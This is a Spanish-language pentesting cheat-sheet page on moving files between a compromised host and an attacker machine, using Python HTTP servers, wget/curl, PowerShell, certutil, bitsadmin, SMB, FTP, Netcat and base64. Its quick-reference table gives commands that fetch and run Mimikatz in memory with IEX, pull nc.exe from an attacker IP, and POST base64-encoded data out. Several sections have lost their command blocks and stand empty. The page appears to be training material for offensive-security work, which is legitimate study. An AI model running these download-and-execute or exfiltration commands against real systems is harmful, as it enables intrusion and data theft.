Page cover

🔄File Transfers

En esta sección veremos técnicas utilizadas por los atacantes para transferir archivos maliciosos o datos robados desde un sistema comprometido a un sistema controlado por el atacante o viceversa.

En la máquina que envía el archivo

cd {Carpeta del archivo a enviar}
python2 -m SimpleHTTPServer
python3 -m http.server

Si no le especificamos un puerto, por defecto usará el 8000. Si le especificamos el puerto 80 nos ahorraríamos poner el puerto en el comando de descarga.

python3 -m http.server 80

En la máquina que recibe el archivo

Descarga con Wget o Curl

wget http://{IP-ORIGEN}:{PUERTO}/mimikatz.exe

# Ejemplo
wget http://10.10.10.10:8000/mimikatz.exe
curl http://10.10.10.10:8000/mimikatz.exe -o mimikatz.exe
python3 -m http.server 80
wget http://10.10.10.10/mimikatz.exe

Ejecutar archivos directamente en Linux

Ejemplo con un ejecutable en Bash

Descarga con PowerShell

Podemos especificar el nombre de la clase Net.WebClient y el método DownloadFile con los parámetros correspondientes a la URL del archivo de destino para descargar y el nombre del archivo de salida.

Descarga con certutil.exe en Windows

Desde un CMD en Windows nos podemos descargar el archivo que estamos sirviendo desde un servidor local en python:

Descarga con PowerShell - Método Fileless

Los ataques sin archivos funcionan mediante el uso de algunas funciones del sistema operativo para descargar y ejecutar los payloads. PowerShell también se puede utilizar para realizar ataques sin archivos. En lugar de descargar un script de PowerShell en el disco, podemos ejecutarlo directamente en la memoria usando el comando Invoke-Expression o el alias IEX

PowerShell Invoke-WebRequest

Desde PowerShell 3.0 en adelante, el cmdlet Invoke-WebRequest también está disponible, pero es notablemente más lento para descargar archivos. Puedes usar los alias iwr, curl y wget en lugar del nombre completo Invoke-WebRequest.

Descarga con SMB

El protocolo SMB que se ejecuta en el puerto TCP/445 se encuentra más comúnmente en las redes empresariales donde se ejecutan los servicios de Windows. Permite que las aplicaciones y los usuarios transfieran archivos entre servidores remotos. Podemos usar SMB para descargar archivos de nuestra máquina atacante fácilmente. Necesitamos crear un servidor SMB en nuestra máquina con smbserver.py de Impacket y luego usar copiar, mover, PowerShell Copy-Item o cualquier otra herramienta que permita la conexión a SMB.

Desde la interfaz gráfica de Windows

Descarga con FTP

Otra forma de transferir archivos es mediante FTP (Protocolo de transferencia de archivos), que utilizan los puertos TCP/21 y TCP/20. Podemos usar el cliente FTP o PowerShell Net.WebClient para descargar archivos desde un servidor FTP. Podemos configurar un servidor FTP en nuestro host de ataque usando el módulo Python3 pyftpdlib. Se puede instalar con el siguiente comando:

Descargar archivos desde un servidor FTP con PowerShell

Carga de archivos - FTP

La carga de archivos mediante FTP es muy similar a la descarga de archivos. Podemos usar PowerShell o el cliente FTP para completar la operación. Antes de iniciar nuestro servidor FTP utilizando el módulo de Python pyftpdlib, debemos especificar la opción --write para permitir que los clientes carguen archivos en nuestro host de ataque.

PowerShell Upload File

Envío de archivos con Impacket smbserver

Esta técnica sirve para transferir archivos desde un host Windows a nuestra máquina de atacante. Vamos a crear un recurso compartido con impacket-smbserver en Kali Linux:

Una vez creado podemos enviarnos archivos desde la máquina Windows con el siguiente comando:

Con Netcat

Comando para recibir el fichero en Linux y Windows:

Comando para enviar el fichero en Linux y Windows:

Usando Base64

En algunos casos, es posible que no podamos transferir el archivo. Por ejemplo, el host remoto puede tener protecciones de firewall que nos impiden descargar un archivo de nuestra máquina. En este tipo de situación, podemos usar un truco simple para codificar en base64 el archivo en formato base64, y luego podemos pegar la base64cadena en el servidor remoto y decodificarla. Por ejemplo, si quisiéramos transferir un archivo binario llamado shell, podemos base64codificarlo de la siguiente manera:

Ahora, podemos copiar esta cadena en base64, ir al host remoto, y usar base64 -d para decodificarla y canalizar la salida a un archivo:

Guía rápida

Comando

Descripción

Invoke-WebRequest https://IP:PUERTO/PowerView.ps1 -OutFile PowerView.ps1

Descargar un archivo con PowerShell

IEX (New-Object Net.WebClient).DownloadString('https://IP:PUERTO/Mimikatz.ps1')

Ejecutar un archivo en memoria usando PowerShell

Invoke-WebRequest -Uri http://IP:PUERTO -Method POST -Body $b64

Subir un archivo con PowerShell

bitsadmin /transfer n http://IP:PUERTO/nc.exe C:\Temp\nc.exe

Descargar un archivo usando Bitsadmin

certutil.exe -verifyctl -split -f http://IP:PUERTO/nc.exe

Descargar un archivo usando Certutil

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh

Descargar un archivo usando Wget

curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

Descargar un archivo usando curl

php -r '$file = file_get_contents("https://IP:PUERTO/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'

Descargar un archivo usando PHP

scp C:\Temp\bloodhound.zip user@IP:/tmp/bloodhound.zip

Subir un archivo usando SCP

scp user@target:/tmp/mimikatz.exe C:\Temp\mimikatz.exe

Descargar un archivo usando SCP

Invoke-WebRequest http://nc.exe -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile "nc.exe"

Invoke-WebRequest usando Chrome User Agent

Hack Tools Plugin

Hack Tools PLugin

Este plugin disponible para todos los navegadores tenemos recogidas todas estas técnicas de envío de archivos, pudiendo configurar la IP, el puerto y el nombre del archivo que queremos enviar.

Última actualización

¿Te fue útil?